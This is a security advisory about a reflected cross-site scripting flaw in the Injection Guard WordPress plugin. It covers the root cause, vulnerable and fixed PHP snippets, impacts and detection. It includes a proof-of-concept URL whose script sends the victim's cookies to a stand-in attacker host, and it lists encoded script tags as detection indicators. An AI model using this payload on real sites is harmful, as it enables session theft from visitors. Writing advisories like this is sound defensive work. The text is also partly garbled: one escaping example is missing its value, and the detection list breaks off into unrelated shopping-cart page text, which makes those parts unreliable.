NOTE: This advisory is written from the perspective of a Hong Kong security expert for site owners, system administrators and plugin developers. It explains a reflected Cross‑Site Scripting (XSS) vulnerability affecting Injection Guard versions older than 1.2.8 (CVE‑2025‑8046) and provides technical context, detection guidance and mitigations. If your site uses Injection Guard, act immediately following the guidance below.

Executive summary

A reflected Cross‑Site Scripting (XSS) vulnerability (CVE‑2025‑8046) has been published for the Injection Guard WordPress plugin in versions prior to 1.2.8. The vulnerability stems from unsafe reflection of the HTTP request URI (via PHP’s $_SERVER['REQUEST_URI']) into HTML output without proper encoding or context‑aware sanitization. An unauthenticated attacker can craft a URL that, when visited by a victim, injects and executes arbitrary JavaScript in the victim’s browser.

Impact:

• Unauthenticated attacker can execute arbitrary JavaScript in visitor browsers.
• Common consequences: session theft (if cookies accessible), phishing, drive‑by redirects, SEO spam façades, or client‑side payloads leading to further compromise.
• CVSS (reported): 7.1 (Medium) — actual risk depends on where the reflection appears (public pages vs admin pages, or within JavaScript contexts).

Immediate actions for site owners

1. Update Injection Guard to 1.2.8 or later.
2. If you cannot update immediately, disable the plugin until patched or apply virtual patching (WAF) blocking rules for malicious payloads in REQUEST_URI.
3. Scan access logs for suspicious requests and inspect site files and content for injected scripts.
4. Follow incident response steps: rotate credentials, inspect users, and perform malware cleanup if necessary.

What is a reflected XSS via $_SERVER[‘REQUEST_URI’]?

Reflected XSS happens when server code takes data from the current request (path, query string, headers) and sends it back in an HTTP response without proper encoding for the output context. If malicious input is inserted into a URL and a victim opens that URL, the malicious content executes in the victim’s browser.

$_SERVER['REQUEST_URI'] contains the path and query string for the current request. If a plugin reads this and echoes it directly into HTML (for example, in a status message, debug string or admin notice) without escaping, an attacker can include script tags or event handlers in the URI. Because the vulnerability is unauthenticated, any attacker who can trick a victim into visiting a crafted URL may succeed.

Technical root cause (high level)

• Code reads $_SERVER['REQUEST_URI'] and outputs it into an HTML response.
• No context‑aware escaping (such as esc_html, esc_attr, wp_json_encode) or strict filtering is applied.
• The output appears in a context where HTML/JavaScript can execute (inline HTML, script context, attributes, or event handlers).
• The plugin fails to validate and encode content before rendering it back to the browser.

Example of vulnerable pattern (illustrative)

The following representative snippets demonstrate the insecure flow. These are examples only — do not copy them into production.

// vulnerable.php (illustrative)
$uri = $_SERVER['REQUEST_URI'];   // attacker controlled for the request
echo '<div class="message">You visited: ' . $uri . '</div>';

If an attacker sends:

https://example.com/?q=%3Cscript%3E%3C%2Fscript%3E

The output may contain:

<div class="message">You visited: /?q=<script></script></div>

Browser execution of that reflected script demonstrates reflected XSS.

Patched pattern (illustrative)

// fixed.php (illustrative)
$uri = wp_unslash( $_SERVER['REQUEST_URI'] );
$safe = esc_html( $uri ); // escape for HTML body context
echo '<div class="message">You visited: ' . $safe . '</div>';

Or when used inside an attribute:

echo '<div data-uri="' . esc_attr( $uri ) . '"></div>';

When embedding into JavaScript:

<script>
  var uri = ;
</script>

Use the correct escaping for the output context.

Proof of Concept (PoC) — how an attacker could weaponize this

A simple PoC URL (encoded) demonstrates the reflection. Example payload (do not visit):

https://victim.example.com/?q=%3Cscript%3Efetch(%27https://attacker.example.com/steal?c=%27+document.cookie)%3C%2Fscript%3E

If the plugin reflects the q parameter without escaping and a victim with sensitive cookies visits the URL, the script can exfiltrate cookies or perform other actions. Reflected XSS remains dangerous because attackers use social engineering to direct victims to crafted links.

Realistic attacker scenarios and impacts

• Credential theft if session cookies are accessible (not HttpOnly) or tokens are in client storage.
• Phishing via fake overlays or injected forms to steal passwords.
• SEO spam or content manipulation visible to users and crawlers.
• Redirects or drive‑by downloads leading to further compromise.
• Risk is higher if reflected input appears on admin pages — admin context can enable full site takeover.

Detection: what to look for in logs and on the site

Search webserver, WAF and analytics logs for suspicious URIs. Indicators include:

• Encoded script tags: “%3Cscript%3E” or “
  Review My Order

  0

  Subtotal

  Taxes & shipping calculated at checkout

  Checkout